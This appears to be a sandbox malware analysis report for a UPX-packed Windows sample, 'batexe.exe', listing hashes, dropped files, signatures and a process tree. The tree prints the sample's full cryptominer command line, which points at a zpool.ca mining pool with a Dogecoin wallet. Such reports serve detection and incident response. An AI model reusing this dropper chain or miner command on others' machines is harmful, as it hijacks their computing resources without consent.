73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
296s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14-02-2024 11:43

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3352	b2e.exe
4712	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4712	cpuminer-sse2.exe
4712	cpuminer-sse2.exe
4712	cpuminer-sse2.exe
4712	cpuminer-sse2.exe
4712	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4700-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 3352	4700	batexe.exe	75
PID 4700 wrote to memory of 3352	4700	batexe.exe	75
PID 4700 wrote to memory of 3352	4700	batexe.exe	75
PID 3352 wrote to memory of 1212	3352	b2e.exe	76
PID 3352 wrote to memory of 1212	3352	b2e.exe	76
PID 3352 wrote to memory of 1212	3352	b2e.exe	76
PID 1212 wrote to memory of 4712	1212	cmd.exe	79
PID 1212 wrote to memory of 4712	1212	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4700
- C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\95C8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1212
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe

Filesize
10.7MB

MD5
2ea48fd82576ac2c4531afbe238e02ec

SHA1
cff2f0f966ba3c108d29bd700930b32b113e0e45

SHA256
be311c9c94e930755aad379d18a3c419c9771854f08e30803d1079671ceeebe8

SHA512
2529031089f5f58f571af602d2bfdabbbea4471f3d4a8152de52227c13339b6f116a98fdb1cdf07b28b00d203b625408b596a49b0a2fd928a05811e15aa89b3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe

Filesize
11.6MB

MD5
860ea45e1dfb8e5788055b988810b5ff

SHA1
d8a651391730945aa5b0d96610c4f2bc66c5b321

SHA256
0714840d5f53fa5944b18ff3719a54761ae016727376fe21ea82c65f974084e4

SHA512
29a9df410037696f082ce52aeb0b8627662058a0cd5c0445efb6996cb1964e277e82a5354d7f49361fe5541b9e5bad7e35d023a797aacac6df28cff3115049ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\95C8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.1MB

MD5
37628ab3d96678d193332272ad1e9482

SHA1
c51563f4e5c32828d2a264a11598281259f121b5

SHA256
bc36a1e33edae7081df567ce21c5434d4b46ae41267372a204d7df8814543e45

SHA512
8cdd46892a450b55586bf0151ddb9a49090eddae1b407c2f5e96c6778df56d8ef4807f2ff917a4910acf45f6dc10698c2f934ff74008792a0bce5f72676708ae

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.8MB

MD5
9bb44fc3912276890daabf674fe1b8d0

SHA1
a46e5f65c7783330552ca34c4e070f911ab6c4fb

SHA256
9f95b6f6f15277164ea272e7d4fb8fdca00e751b3891a3854c1a9fb3ab413ed3

SHA512
e964e7044b3790a98afa4ccd04433a5e2e047fbb3c0cb1b18699ab5df52b0808af63c6017c2cd0e5305345936304f803aacc9ee462181e1cc7bdf117e46468e7

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.8MB

MD5
25fbb0abe86331e951a5edf6f05658d9

SHA1
05ba331fc540aad99f82ad2b8b398e5c7c45b0e6

SHA256
902ced58c3fac4bf0c770f59960ed576f59e76198a96caa92cb203188193e8d6

SHA512
dd557842a13a18a63716c1e952d3722ef1070f8aa84e6a80bfe65f82b9fbb191f3879a94df37b6045050d471ec6233c4d25db371ef6fb548832e481f32dbae2e

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3352-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3352-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4700-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4712-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4712-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4712-43-0x0000000074790000-0x0000000074828000-memory.dmp

Filesize
608KB

Download
memory/4712-44-0x0000000001010000-0x00000000028C5000-memory.dmp

Filesize
24.7MB

Download
memory/4712-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4712-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4712-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4712-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4712-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4712-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4712-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4712-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4712-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4712-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4712-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download